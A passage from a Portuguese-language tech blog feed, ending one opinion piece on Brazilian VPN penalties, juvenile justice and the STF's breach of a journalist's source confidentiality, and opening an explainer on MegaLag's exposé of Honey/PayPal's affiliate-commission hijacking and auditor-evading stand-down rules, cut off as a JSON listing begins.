<p>O Ayub, que acompanha legislação digital há anos, <a href="https://x.com/ayubio/status/2058990595503509513"target="_blank" rel="noopener">soou o alarme ainda em maio</a>, quando a Câmara aprovou o texto: <em>&ldquo;prevê prisão para quem desenvolver ou fornecer serviço de VPN. Não foi falta de aviso meu.&rdquo;</em></p>
<p>Aqui vai uma precisão que importa, porque checar fonte é o que separa análise de pânico. A redação <strong>original</strong> do deputado Osmar Terra criminalizava mesmo quem desenvolve, distribui ou comercializa programa de mascaramento de IP — na prática, tornava crime a profissão de desenvolvedor de VPN. Mas o projeto passou por um grupo de trabalho técnico que ouviu Polícia Federal, Ministério Público, Safernet e as próprias plataformas, e a relatora final, deputada Rogéria Santos, <a href="https://iclnoticias.com.br/projeto-contra-pedofila-quase/"target="_blank" rel="noopener">retirou a criminalização do desenvolvimento</a> e manteve só a majorante, com salvaguarda expressa pro uso lícito. O tweet do Ayub descreve o projeto que entrou na Câmara, não a lei que saiu. O aviso dele, porém, capturou o rumo — e o rumo se cumpriu.</p>
<p>Porque o que sobrou já é bastante coisa. A <a href="https://isoc.org.br/noticia/isoc-e-isoc-brasil-pedem-rejeicao-do-art-226-a-do-pl-3066-2025"target="_blank" rel="noopener">ISOC Brasil apontou</a> que a majorante coloca o uso de VPN no mesmo patamar penal da majoração de roubo com arma de fogo. E uma <a href="https://teletime.com.br/06/07/2026/vpn-senado-entidaddes/"target="_blank" rel="noopener">carta aberta ao Senado</a>, assinada por EFF, Projeto Tor, Artigo 19, Data Privacy Brasil e mais meia dúzia de entidades, explicou o óbvio pra quem é da área: proxy e VPN são infraestrutura padrão de segurança corporativa, recomendados por normas internacionais como a ISO/IEC 27001; anonimização de identificadores é função nativa de navegadores como Firefox e Brave; e sua empresa provavelmente te <strong>obriga</strong> a usar VPN pra trabalhar de casa. O Senado não acolheu. No dia 6 de agosto, o artigo virou lei — na tal cerimônia.</p>
<p>A frase da carta que deveria assombrar qualquer legislador: <em>&ldquo;precedentes jurídicos raramente permanecem restritos à hipótese que justificou sua criação&rdquo;</em>. Na formulação da carta, é a <strong>primeira vez</strong> que o direito penal brasileiro trata uma tecnologia neutra de segurança como, por si só, motivo de pena mais grave. Hoje a hipótese é crime contra criança — aquela que ninguém ousa questionar em público, e os autores do projeto sabiam disso. Amanhã é qualquer crime. O próximo deputado que quiser agravar furto &ldquo;mediante uso de VPN&rdquo; já tem o precedente pronto, votado e sancionado.</p>
<p>E repare na engenhosidade, igualzinha à da criptografia: ninguém proibiu VPN — uma proibição direta seria indefensável. Apenas se criou o mecanismo pra tratar usuário de VPN como suspeito qualificado. Pensa na execução: pra aplicar a salvaguarda do &ldquo;uso lícito&rdquo;, o Estado precisa primeiro saber que você usa VPN e depois determinar se o seu uso era lícito. Ou seja, todo usuário de ferramenta de privacidade vira, por padrão, objeto potencial de verificação. A salvaguarda não protege o usuário — autoriza a fiscalização dele.</p>
<p>E tem a ironia fina pra fechar: a carta dos 438 cientistas que mencionei na seção anterior alerta que verificação de idade se burla com VPN. A resposta do legislador brasileiro não foi repensar a verificação de idade. Foi deixar a VPN meio criminalizada. O cerco se fecha pelos dois lados, sempre com a mesma plaquinha de boa intenção pregada em cima.</p>
<blockquote>
  <p><strong>Pra guardar:</strong> ninguém proibiu VPN no Brasil. Criou-se algo mais sutil: o primeiro precedente penal em que usar uma ferramenta neutra de privacidade pesa contra você. Hoje agrava crime contra criança. O precedente, esse, não tem dono.</p>

</blockquote>
<h2>E os criminosos de verdade?<span class="hx:absolute hx:-mt-20" id="e-os-criminosos-de-verdade"></span>
    <a href="#e-os-criminosos-de-verdade" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Tem um contrassenso nessa história que quase ninguém comentou. A sanção contra o Discord caiu em seis dias, com potencial de R$ 50 milhões de multa por infração. E o que acontece com os autores do crime que motivou tudo isso?</p>
<p>O grupo de Naviraí era composto por cinco adolescentes de 13 a 17 anos e um jovem de 18. O líder investigado tem 14. Pela lei brasileira, <strong>só o de 18 responde como adulto</strong>, por homicídio qualificado. Os outros cinco entram no regime do ECA — o clássico, não o digital: medida socioeducativa de internação, com <a href="https://www.atfcursosjuridicos.com.br/repositorio/material/15893963154125-ecaparaoabatf.pdf"target="_blank" rel="noopener">teto de três anos</a> e soltura compulsória aos 21. O caso corre em sigilo e não sabemos as medidas aplicadas, mas o teto é esse, não importa a crueldade. O mentor intelectual do massacre de Suzano, com 10 mortos, tinha 17 anos e <a href="https://g1.globo.com/sp/mogi-das-cruzes-suzano/noticia/2019/05/03/justica-decide-manter-internacao-de-menor-apontado-como-mentor-intelectual-do-massacre-em-suzano.ghtml"target="_blank" rel="noopener">ficou internado</a> — três anos, independentemente da contagem de corpos.</p>
<p>E tem uma ironia de calendário: em fevereiro de 2026 o Brasil <a href="https://www.brasilparalelo.com.br/noticias/lula-sanciona-lei-que-define-bullying-e-cyberbullying-como-crimes"target="_blank" rel="noopener">sancionou a lei que tornou hedionda a indução online a suicídio e autolesão</a>, com pena dobrada pra líderes de grupo. Pra adultos. Pros cinco adolescentes de Naviraí, investigados exatamente por isso, não muda nada: o teto continua sendo os três anos do ECA.</p>
<p>E segue assim por escolha, porque tentativa não faltou. Em março de 2026, o relator da PEC da Segurança Pública incluiu um <a href="https://www.congressoemfoco.com.br/amp/noticia/116889/governo-se-manifesta-contra-a-reducao-da-maioridade-penal--ineficaz"target="_blank" rel="noopener">referendo sobre a redução da maioridade penal pra 16 anos</a>; o governo chamou a redução de &ldquo;ineficaz e inconstitucional&rdquo; e o trecho foi arrancado pra PEC passar — <a href="https://www.nsctotal.com.br/noticias/camara-aprova-pec-da-seguranca-publica-apos-retirada-de-mencao-a-maioridade-penal"target="_blank" rel="noopener">aprovada por 487 a 15</a> sem uma linha sobre o assunto. Em junho, a CCJ da Câmara <a href="https://www.camara.leg.br/noticias/1280551-comissao-de-constituicao-e-justica-aprova-pec-que-reduz-maioridade-penal/"target="_blank" rel="noopener">aprovou a admissibilidade de outra PEC da redução, por 44 a 18</a>, mas ela ainda precisa de 308 votos em dois turnos de plenário — exatamente o muro onde a versão de 2015 morreu. Até a saída intermediária empaca: o <a href="https://www12.senado.leg.br/noticias/materias/2025/10/22/vai-a-camara-mais-tempo-de-internacao-de-adolescente-em-conflito-com-a-lei"target="_blank" rel="noopener">PL 1.473/2025</a>, que subiria a internação máxima de 3 pra 5 anos (10 pra crimes violentos), passou no Senado em outubro de 2025 e dorme na Câmara até hoje.</p>
<p>Enquanto isso, o crime organizado faz aritmética. Facções recrutam adolescentes de propósito, porque sabem que o ECA protege o executor: nos ataques de facções no Ceará, adultos <a href="https://ponte.org/periferias-sao-as-principais-vitimas-dos-ataques-de-faccoes-no-ceara/"target="_blank" rel="noopener">pagavam de R$ 1.000 a R$ 5.000 por atentado</a> pra adolescentes tocarem fogo em veículos — o mandante não se expõe, o executor não vai pra prisão. O grupo de Naviraí é a versão digital da mesma lógica: um líder de 14 anos coordenando crimes que, se cometidos por um adulto, dariam décadas de cadeia.</p>
<p>E o Brasil virou exceção até na vizinhança. A Argentina <a href="https://g1.globo.com/mundo/noticia/2026/02/27/argentina-aprova-lei-que-reduz-maioridade-penal-de-16-para-14-anos.ghtml"target="_blank" rel="noopener">aprovou em fevereiro a redução de 16 pra 14 anos</a>. A Suécia, de todos os países, <a href="https://noticias.r7.com/prisma/espaco-prisma/com-13-anos-um-adolescente-pode-matar-e-ir-para-a-cadeia-a-suecia-decidiu-que-sim-o-brasil-ainda-nao-sabe-05022026/"target="_blank" rel="noopener">baixou pra 13 anos em crimes graves a partir de julho</a> — depois que gangues passaram a recrutar crianças pelo Snapchat pra atentados justamente porque elas não podiam ser processadas. Inglaterra pune a partir dos 10 (embora a própria Ordem dos Advogados de lá queira subir pra 14), a maioria dos estados americanos transfere adolescentes de 14 pra vara criminal em homicídio, Portugal pune aos 16.</p>
<p>Pra constar, o outro lado existe: a <a href="https://brasil.un.org/pt-br/317703-redu%C3%A7%C3%A3o-da-maioridade-penal-unicef-manifesta-preocupa%C3%A7%C3%A3o-com-avan%C3%A7o-da-pec-na-c%C3%A2mara-dos"target="_blank" rel="noopener">UNICEF se posicionou contra a redução</a>, e os dados de reincidência são desconfortáveis pros dois lados — ~43% depois da internação, ~70% depois da prisão comum. Se é pra debater o modelo, debata. O que não dá é o resultado atual: uma lei nova conseguiu em seis dias tirar do ar um recurso usado por milhões de pessoas inocentes, enquanto o sistema que pune os autores do crime não sai do lugar há trinta. A gente pune o cano porque o cano é quem está ao alcance.</p>
<blockquote>
  <p><strong>Pra guardar:</strong> seis dias pra sancionar a plataforma que milhões de inocentes usam; trinta anos sem mexer no teto de quem cometeu o crime.</p>

</blockquote>
<h2>Enquanto isso, no STF: o sigilo da fonte furado<span class="hx:absolute hx:-mt-20" id="enquanto-isso-no-stf-o-sigilo-da-fonte-furado"></span>
    <a href="#enquanto-isso-no-stf-o-sigilo-da-fonte-furado" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Se fosse só o Discord, dava pra chamar de acidente regulatório. Mas na mesma semana, outro pilar caiu.</p>
<p>Desde novembro de 2025, o jornalista Luís Pablo, do Maranhão, publicava reportagens sobre o uso de um carro oficial do TJ-MA pelo ministro Flávio Dino e familiares. Em março, Alexandre de Moraes autorizou <a href="https://www.gazetadopovo.com.br/republica/decisao-de-moraes-sobre-jornalista-cita-inquerito-das-fake-news-e-contraria-nota-oficial-do-stf/"target="_blank" rel="noopener">busca e apreensão contra o jornalista</a> — numa decisão que citava o inquérito das fake news, o que a assessoria do STF depois negou. Celulares, notebook e pen drive apreendidos. Em abril, o equipamento foi devolvido, mas a análise forense continuou.</p>
<p>No dia 11 de agosto, <a href="https://g1.globo.com/jornal-nacional/noticia/2026/08/11/moraes-determina-investigacao-contra-fonte-de-jornalista-em-reportagem-sobre-dino.ghtml"target="_blank" rel="noopener">a PF cumpriu mandados contra Raimundo Cutrim</a>, ex-secretário de Segurança do Maranhão — identificado como a fonte do jornalista. Como chegaram nele? Pela análise dos dispositivos apreendidos do jornalista.</p>
<p>Entendeu o mecanismo? O art. 5º, XIV da Constituição protege o sigilo da fonte, e o jornalista pode se recusar a revelar — como ele fez, ficando em silêncio no depoimento. Então não perguntaram. Apreenderam o material de trabalho, leram tudo, e <strong>identificaram a fonte pelas costas</strong>. A constitucionalista Vera Chemin <a href="https://www.cnnbrasil.com.br/politica/especialistas-avaliam-decisao-de-moraes-sobre-fonte-de-jornalista/"target="_blank" rel="noopener">resumiu na CNN</a>: <em>&ldquo;não se pode violar o sigilo para depois verificar se houve um crime ou não&rdquo;</em>.</p>
<p>O próprio STF já decidiu isso, e mais de uma vez. Na ADPF 601, em 2019, Gilmar Mendes <a href="https://noticias.stf.jus.br/postsnoticias/ministro-gilmar-mendes-garante-sigilo-da-fonte-a-jornalista-glenn-greenwald/"target="_blank" rel="noopener">protegeu o Glenn Greenwald na Vaza Jato</a> com uma frase que deveria estar emoldurada: o sigilo da fonte <em>&ldquo;impossibilita que o Estado utilize medidas coercivas para constranger a atuação profissional e devassar a forma de recepção e transmissão daquilo que é trazido a conhecimento público&rdquo;</em>. &ldquo;Devassar a forma de recepção&rdquo; é literalmente o que a análise forense dos dispositivos fez.</p>
<p>Pra constar, a defesa do STF existe e merece ser apresentada: a investigação apura monitoramento ilegal de um ministro e da família dele, com placas, nomes de seguranças e imagens clandestinas de crianças publicados; a PF aponta que Cutrim usou cargo público pra acessar sistemas restritos; e há uma transferência de R$ 100 mil de um segundo investigado pro jornalista, cuja natureza ninguém provou ainda. Os autos correm em sigilo, então nenhuma das versões é verificável de fora. É possível que haja crime ali. Mas é exatamente por isso que a ordem importa: primeiro se investiga com meios lícitos, depois — talvez, em casos excepcionalíssimos — se discute exceção. <strong>Inverter essa ordem transforma a exceção em método.</strong></p>
<p>A reação foi a de sempre, só que mais alta: <a href="https://www.abraji.org.br/noticias/abraji-condena-violacao-de-sigilo-de-fonte-de-jornalista-no-maranhao"target="_blank" rel="noopener">Abraji</a>, ANJ, ABERT, SIP internacional, e <a href="https://www.poder360.com.br/poder-midia/globo-folha-e-estadao-criticam-stf-por-quebra-de-sigilo-da-fonte/"target="_blank" rel="noopener">editoriais dos três maiores jornais do país no mesmo dia</a>. O Estadão escreveu que o inquérito das fake news <em>&ldquo;foi convertido em instrumento de intimidação&rdquo;</em>. Miro Teixeira, o advogado que derrubou a Lei de Imprensa da ditadura em 2009, disse que o STF <a href="https://www.poder360.com.br/poder-justica/stf-atua-momentaneamente-como-tribunal-de-excecao-diz-miro-teixeira/"target="_blank" rel="noopener">atua &ldquo;momentaneamente como tribunal de exceção&rdquo;</a>.</p>
<blockquote>
  <p><strong>Pra guardar:</strong> o sigilo da fonte não foi revogado — foi contornado. Ninguém coagiu o jornalista; apreenderam os dispositivos dele e a fonte apareceu na perícia. A garantia segue existindo, mas só no papel.</p>

</blockquote>
<h2>Conclusão: estamos virando um país censurado?<span class="hx:absolute hx:-mt-20" id="conclusão-estamos-virando-um-país-censurado"></span>
    <a href="#conclus%c3%a3o-estamos-virando-um-pa%c3%ads-censurado" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>O padrão é o que me preocupa, não os episódios isolados. Em 2024, o X ficou um mês fora do ar no Brasil por ordem monocrática. Em 2025, caiu o art. 19 do Marco Civil e a responsabilidade das plataformas virou proativa. Em 2026, a ECA Digital entregou ao Executivo um pacote de obrigações tão intrusivo que, na primeira vez usado, derrubou um recurso criptografado no país inteiro — enquanto o líder de 14 anos do grupo que motivou a sanção enfrenta, no máximo, três anos de internação. E o sigilo da fonte jornalística foi furado por via forense, com aval do mesmo tribunal que o consagrou.</p>
<p>Cada degrau dessa escada tem uma justificativa simpática, e é exatamente por isso que a escada é perigosa. Ninguém constrói infraestrutura de censura dizendo que é pra censura. Constrói-se pra proteger crianças, pra proteger ministros, pra proteger a democracia.</p>
<p>O problema é que <strong>infraestrutura não tem dono moral</strong>. A régua que hoje mede o Discord mede qualquer aplicativo amanhã. A fiscalização que hoje exige transmissão aberta pra proteger a Lívia vai exigir transmissão aberta pra qualquer coisa que o governo de plantão queira ver. A quebra de sigilo que hoje pega a fonte do caso Dino pega qualquer fonte, de qualquer caso, contra qualquer um.</p>
<p>E o detalhe mais revelador da semana: das duas plataformas que o Ministério da Justiça pediu pra investigar, a sancionada foi a que tem escritório, CNPJ e advogados no Brasil — a que <em>coopera</em>. A mensagem que o regulador mandou pro mercado foi invertida: <strong>cooperar te expõe; ser opaco te protege</strong>. Os adolescentes do grupo neonazista de Naviraí não vão pra lugar nenhum — vão pro Telegram, que ninguém tocou.</p>
<p>E tem o traço mais brasileiro de todos nesse arranjo: ficou impossível estar em dia com a lei. Se você protege seus usuários de verdade, com criptografia de ponta a ponta, descumpre a ECA Digital. Se cumpre a ECA Digital, abre os dados dos seus usuários e descumpre a LGPD. Se coleta documento pra verificar idade, vira alvo de vazamento e de sanção; se não coleta, vira alvo de fiscalização. <strong>Não existe configuração segura.</strong></p>
<p>E isso é tradição nossa: leis tão amplas, com tantas exceções empilhadas, que qualquer um vira infrator por acidente em qualquer esquina. Quando todo mundo está sempre devendo, a lei deixa de ser regra e vira opção — o poder real migra pra quem escolhe contra quem aplicar. Foi o que aconteceu essa semana: duas plataformas investigadas, uma punida. A que tinha endereço aqui.</p>
<p>Proteger crianças é dever civilizatório inegociável. Investigar crime contra ministro é obrigação do Estado. A pergunta que fica não é se essas causas são legítimas — são. É se o Brasil ainda consegue perseguir causas legítimas sem demoliar as garantias que tornam o país uma democracia liberal: privacidade real, criptografia funcional, imprensa com fonte protegida. Essa semana, a resposta foi não três vezes seguidas.</p>
<p>Não é censura de regime. É pior, de certa forma: é censura por acumulado, votada, sancionada e aplaudida, cada tijolo com uma plaquinha de boa intenção. E a gente só percebe o muro quando ele já está em volta.</p>
]]></content:encoded><category>seguranca</category><category>leis-e-regulacao</category><category>politica</category></item><item><title>Davi e Golias digital: Entendendo MegaLag vs Honey/Paypal</title><link>https://www.akitaonrails.com/2026/08/12/davi-e-golias-digital-entendendo-megalag-vs-honey-paypal/</link><guid isPermaLink="true">https://www.akitaonrails.com/2026/08/12/davi-e-golias-digital-entendendo-megalag-vs-honey-paypal/</guid><pubDate>Wed, 12 Aug 2026 11:00:00 GMT</pubDate><description>&lt;p&gt;Quem vive de criar conteúdo na internet sabe: comissão de afiliado paga conta. Você testa um produto, grava o review, coloca o link na descrição. Alguém assiste, clica, compra dias depois, e uma fatia da venda pinga na sua conta. Foi assim que boa parte do YouTube independente se financiou na última década.&lt;/p&gt;
&lt;p&gt;Agora imagina descobrir que um dos seus patrocinadores estava plantado no checkout dos seus espectadores, trocando a sua etiqueta pela dele e embolsando essas comissões. Milhões de vezes. Por anos.&lt;/p&gt;</description><content:encoded><![CDATA[<p>Quem vive de criar conteúdo na internet sabe: comissão de afiliado paga conta. Você testa um produto, grava o review, coloca o link na descrição. Alguém assiste, clica, compra dias depois, e uma fatia da venda pinga na sua conta. Foi assim que boa parte do YouTube independente se financiou na última década.</p>
<p>Agora imagina descobrir que um dos seus patrocinadores estava plantado no checkout dos seus espectadores, trocando a sua etiqueta pela dele e embolsando essas comissões. Milhões de vezes. Por anos.</p>
<p>Foi isso que o MegaLag mostrou em dezembro de 2024, expondo as práticas do Honey, aquela extensão de cupons que o PayPal comprou por 4 bilhões de dólares e que prometia <em>&ldquo;achar todos os cupons de desconto da internet&rdquo;</em> pra você. Eu acompanho o canal dele desde esse vídeo e virei fã na hora: é jornalismo técnico com demonstração ao vivo, código e packet capture, não só denúncia no grito.</p>
<p>Um ano e meio depois, a história só engrossou: o PayPal tentou descartar tudo como fake news, o MegaLag voltou com evidência técnica irrefutável, a Rakuten e outras redes de afiliados cortaram o Honey publicamente, e o caso virou uma ação coletiva que acabou de sobreviver ao pedido de extinção (o <em>motion to dismiss</em> americano).</p>


<div class="embed-container">
  <iframe
    src="https://www.youtube.com/embed/vc4yL3YTwWk"
    title="YouTube video player"
    frameborder="0"
    allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share"
    referrerpolicy="strict-origin-when-cross-origin"
    allowfullscreen>
  </iframe>
</div>

<p>A linha do tempo dos vídeos, que são as fontes primárias deste artigo:</p>
<ol>
<li><a href="https://www.youtube.com/watch?v=vc4yL3YTwWk"target="_blank" rel="noopener">Exposing the Honey Influencer Scam</a>, 21 de dezembro de 2024</li>
<li><a href="https://www.youtube.com/watch?v=wwB3FmbcC88"target="_blank" rel="noopener">Exposing Honey&rsquo;s Evil Business Model (PART 2)</a>, 22 de dezembro de 2025</li>
<li><a href="https://www.youtube.com/watch?v=qCGT_CKGgFE"target="_blank" rel="noopener">The Honey Scam is Worse Than I Thought</a>, 30 de dezembro de 2025</li>
<li><a href="https://www.youtube.com/watch?v=EXDemfGNGz0"target="_blank" rel="noopener">Honey Gets Terminated as Lawsuits Proceed</a>, 11 de agosto de 2026 (ontem)</li>
</ol>
<p>Vou contar a história em três atos: o truque do último clique contra os criadores, o modelo de extorsão contra as lojas, e o dispositivo de fraude que enganava os auditores das redes. O miolo técnico, o que interessa pra nós desenvolvedores, está no terceiro ato. Mas sem os dois primeiros ele não faz sentido.</p>
<h2>O que o Honey deveria ser<span class="hx:absolute hx:-mt-20" id="o-que-o-honey-deveria-ser"></span>
    <a href="#o-que-o-honey-deveria-ser" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>O pitch pro consumidor era irresistível: uma extensão gratuita que, na hora do checkout, testa todos os cupons de desconto conhecidos e aplica o melhor no seu carrinho. <em>&ldquo;É literalmente dinheiro de graça.&rdquo;</em> E não, eles juravam, não vendiam seus dados.</p>
<p>Pra criadores de conteúdo, o Honey era um patrocinador generoso. O MegaLag mapeou cerca de 5.000 vídeos patrocinados em mais de 1.000 canais, somando quase 8 bilhões de views. O MrBeast foi o primeiro grande nome, e a ex-presidente do Honey, Joanne Bradford, se gabava: <em>&ldquo;todo garoto nos EUA conhece o Honey&rdquo;</em>.</p>
<p>Criador ganhava dinheiro fácil recomendando uma ferramenta que parecia útil. A ironia, que o primeiro vídeo expõe com requinte: esses mesmos criadores estavam instalando no público deles, o público que mais clicava nos links de afiliado deles, a ferramenta que roubava essas mesmas comissões.</p>
<p>Pra lojas e marketplaces, o Honey se vendia como ferramenta de conversão: menos carrinho abandonado, ticket médio maior. E tinha um pitch extra, mais escuso, que aparece no FAQ de parceiros e num podcast do próprio Honey: a loja controlava quais cupons ficavam visíveis. Ou seja, pro consumidor o discurso era <em>&ldquo;achamos todos os cupons&rdquo;</em>, e pra loja era <em>&ldquo;você impede o consumidor de achar os cupons bons&rdquo;</em>. Os dois discursos eram oficiais.</p>
<h2>Afiliados em 30 segundos<span class="hx:absolute hx:-mt-20" id="afiliados-em-30-segundos"></span>
    <a href="#afiliados-em-30-segundos" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Pra entender o crime, precisa entender a vítima. Marketing de afiliados funciona assim: um criador coloca um link com uma tag de rastreamento (tipo <code>?tag=shortcircuit</code> num link da Newegg). Você clica, a loja grava um cookie com validade de uns 30 dias, e se você comprar qualquer coisa nesse período, a comissão vai pra quem gerou aquele clique.</p>
<p>O MegaLag tem uma analogia boa pra isso: é como o vendedor de uma loja de departamentos que te atende, te dá um cartão de indicação com o nome dele, e o caixa sabe de quem foi a venda. O cookie de afiliado é a versão digital desse cartão.</p>
<p>O padrão da indústria é o <strong>last-click attribution</strong>: o último clique leva tudo. Não é o sistema mais justo do mundo, mas é o mais simples de implementar. E é aqui que mora o problema: quem aparece no último segundo antes do pagamento sempre vence. E quem aparece no último segundo? Uma extensão instalada no seu navegador, que acorda exatamente na tela de checkout. É como se um segundo vendedor, que não te atendeu em momento nenhum, arrancasse o cartão da sua mão na fila do caixa e entregasse o dele no lugar.</p>
<h2>O que o Honey realmente fazia<span class="hx:absolute hx:-mt-20" id="o-que-o-honey-realmente-fazia"></span>
    <a href="#o-que-o-honey-realmente-fazia" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>O primeiro vídeo documenta os cenários, todos variações do mesmo truque:</p>
<ul>
<li><strong>O popup de cupom</strong>: você clica em &ldquo;aplicar descontos&rdquo;, o Honey abre uma aba minúscula e escondida que simula um clique de afiliado com a tag do PayPal, e fecha sozinha. Seu cookie do criador é substituído. Comissão roubada, mesmo quando o Honey não acha cupom nenhum.</li>
<li><strong>O Honey Gold</strong>: quando não existe cupom, aparece um popup oferecendo pontos de cashback. Clicou, mesma coisa: último clique, comissão do PayPal.</li>
<li><strong>O popup vazio</strong>: sem cupom, sem cashback, o Honey ainda abre um popup pra você clicar em &ldquo;got it&rdquo;. Clicou pra dispensar? Já era, o clique valeu.</li>
<li><strong>O botão PayPal</strong>: num checkout que já tem opção de pagar com PayPal, o Honey oferece um botão &ldquo;check out with PayPal&rdquo;. Qualquer desculpa vale pra conseguir o último clique.</li>
</ul>
<p>O experimento que o MegaLag fez com a NordVPN deixa tudo concreto: comissão de 40% por venda. Duas compras feitas pelo próprio link de afiliado dele. Sem o Honey: $35 de comissão. Com o Honey Gold ativado: $0. A parte dele, como &ldquo;consumidor&rdquo;, do roubo da própria comissão? 89 pontos, ou seja, <strong>89 centavos de dólar</strong>. O Honey ficou com 97,5% do valor que era dele por direito.</p>
<blockquote>
  <p><strong>Pra guardar:</strong> mesmo quando você clica no link de afiliado do criador, a comissão vai pro PayPal se o Honey aparecer no checkout. No teste da NordVPN, dos $35 de comissão, o &ldquo;benefício&rdquo; que sobrou pro usuário foi 89 centavos.</p>

</blockquote>
<p>E isso não era hipótese, acontecia em escala industrial. O exemplo central do primeiro vídeo usa a tag de afiliado do Linus Tech Tips na Newegg: o Linus Media Group promoveu o Honey por anos, em algo como 160 segmentos patrocinados, e encerrou a parceria em 2022 ao perceber que o Honey sobrescrevia o link de afiliado deles <em>mesmo quando não encontrava desconto nenhum</em>. Repare na armadilha demográfica: quem instala extensão de cupom é exatamente o espectador que caça preço e clica em link de afiliado. O Honey pagava o patrocínio uma vez e passava a taxar as comissões futuras do criador pra sempre.</p>


<div class="embed-container">
  <iframe
    src="https://www.youtube.com/embed/wwB3FmbcC88"
    title="YouTube video player"
    frameborder="0"
    allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share"
    referrerpolicy="strict-origin-when-cross-origin"
    allowfullscreen>
  </iframe>
</div>

<p>Até aqui, a vítima era o criador. O segundo vídeo mostra o outro lado do balcão: as lojas.</p>
<h2>O modelo de negócio contra as lojas<span class="hx:absolute hx:-mt-20" id="o-modelo-de-negócio-contra-as-lojas"></span>
    <a href="#o-modelo-de-neg%c3%b3cio-contra-as-lojas" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>O arquivo <code>supported domains</code> da extensão listava mais de 180.000 lojas, contra &ldquo;30.000 participantes&rdquo; no marketing. A análise da planilha (um desenvolvedor rastreou tudo e publicou) mostrava 146.000 lojas sem nenhum vínculo, incluídas presumivelmente sem consentimento.</p>
<p>Tem mais: cupom digitado manualmente no checkout era enviado pros servidores do Honey <em>antes</em> de pedir consentimento. E códigos privados vazavam pra base pública: desconto militar, cupom de funcionário, um código de $75 sem valor mínimo que dava mercadoria de graça ilimitada.</p>
<p>O estrago era mensurável. Um lojista relatou prejuízo de $100 mil depois que o código exclusivo do podcast que ele patrocinava vazou pra base do Honey, e ele só percebeu meses depois, quando a comissão de afiliado do podcast já tinha ido embora faz tempo. O Chip, CEO da Made In Cookware, resumiu o efeito: <em>&ldquo;se o Honey vai ficar com 10% da sua receita o tempo todo, no fim das contas você é obrigado a subir os preços.&rdquo;</em></p>
<p>E quando um lojista pedia pra sair, a resposta oficial era <em>&ldquo;não removemos códigos sem um relacionamento comercial&rdquo;</em>, o que o MegaLag chama, com precisão, de extorsão econômica: <strong>as lojas não pagam pra entrar, pagam pra sair</strong>.</p>
<h2>Stand down: a regra que o Honey fingia cumprir<span class="hx:absolute hx:-mt-20" id="stand-down-a-regra-que-o-honey-fingia-cumprir"></span>
    <a href="#stand-down-a-regra-que-o-honey-fingia-cumprir" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Contra tudo isso, a defesa do PayPal sempre foi a mesma: <em>&ldquo;o Honey segue as regras e práticas da indústria, incluindo o last-click&rdquo;</em>. Era uma saída retórica esperta, porque dá pra discutir se o last-click é justo. O que vem a seguir é diferente em natureza: prova de que o Honey sabia que estava errando e construiu um sistema pra não ser pego.</p>
<p>Pra entender, um pouco de contexto. As redes de afiliados (Rakuten Advertising, CJ, Impact, Awin) sabem desde 2002 que extensões de navegador são parasitas naturais desse ecossistema. Então criaram uma regra contratual chamada <strong>stand down</strong>: se o usuário já chegou à loja pelo link de outro afiliado, a extensão deve se desativar e não interferir. Ponto. Está escrito nos contratos. A política da Rakuten, por exemplo, diz que o publisher deve <em>&ldquo;se retirar e não exibir nenhuma forma de slider ou popup&rdquo;</em> quando outro afiliado já referenciou o usuário, e <em>&ldquo;não pode forçar cliques nem fazer cookie stuffing&rdquo;</em>.</p>
<p>E o Honey cumpria. Tecnicamente. Quando testado.</p>
<p>Aqui chegamos no coração do terceiro vídeo, o que o MegaLag chama de Cookie Gate, e a analogia que ele usa é precisa: o Dieselgate da Volkswagen. A VW programava os carros pra reduzir emissões só durante os testes de laboratório. O Honey programava a extensão pra respeitar o stand down só quando detectava que o usuário provavelmente era um auditor.</p>
<blockquote>
  <p><strong>Pra guardar:</strong> stand down é obrigação contratual desde 2002, não cortesia. Se o usuário chegou à loja pelo link de outro afiliado, a extensão tem que se retirar. O Honey se retirava só quando o usuário cheirava a auditor.</p>

</blockquote>
<h2>A evidência: ssd.json, linha por linha<span class="hx:absolute hx:-mt-20" id="a-evidência-ssdjson-linha-por-linha"></span>
    <a href="#a-evid%c3%aancia-ssdjson-linha-por-linha" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Depois que o PayPal comprou o Honey, a extensão foi reescrita e as regras passaram a vir em texto claro de um servidor. Isso permitiu ao MegaLag, e ao Ben Edelman, pesquisador de segurança que trabalhou no caso de fraude de afiliados do eBay nos anos 2000 e verificou tudo independentemente (<a href="https://www.benedelman.org/honey-detecting-testers/"target="_blank" rel="noopener">análise completa dele aqui</a>), expor o mecanismo inteiro.</p>
<p>Primeiro ponto arquitetural: <strong>as regras de stand down moram na nuvem, não na extensão</strong>. A extensão busca dois arquivos JSON dos servidores do Honey e verifica atualizações a cada hora: <code>standdown-rules.json</code> (as regras normais) e <code>ssd.json</code> (as regras de <em>selective stand down</em>). Ou seja: o PayPal podia mudar o comportamento de ~14 milhões de usuários em uma hora, sem atualização de extensão, sem revisão da Chrome Web Store, sem ninguém ver.</p>
<p>Segundo: as regras normais já eram uma piada. O temporizador de stand down, o tempo em que o Honey respeita o cookie do afiliado original, era de 3.600 segundos. Uma hora. Clicou no link do seu YouTuber favorito de manhã, comprou à tarde, o Honey já podia agir de novo. E um arquivamento de 2023 da Wayback Machine mostra que já foi de <strong>360 segundos. Seis minutos</strong>. Como o MegaLag diz, ele leva mais de seis minutos só pra digitar o cartão de crédito. Nenhuma rede de afiliados define prazo de expiração. O Honey inventou um.</p>
<p>Terceiro, o prato principal. Este é o <code>ssd.json</code> capturado em 22 de outubro de 2025 (comentários meus):</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-json" data-lang="json"><span class="line"><span class="cl"><span class="p">{</span><span class="nt">&#34;ssd&#34;</span><span class="p">:</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="nt">&#34;base&#34;</span><span class="p">:</span> <span class="p">{</span>
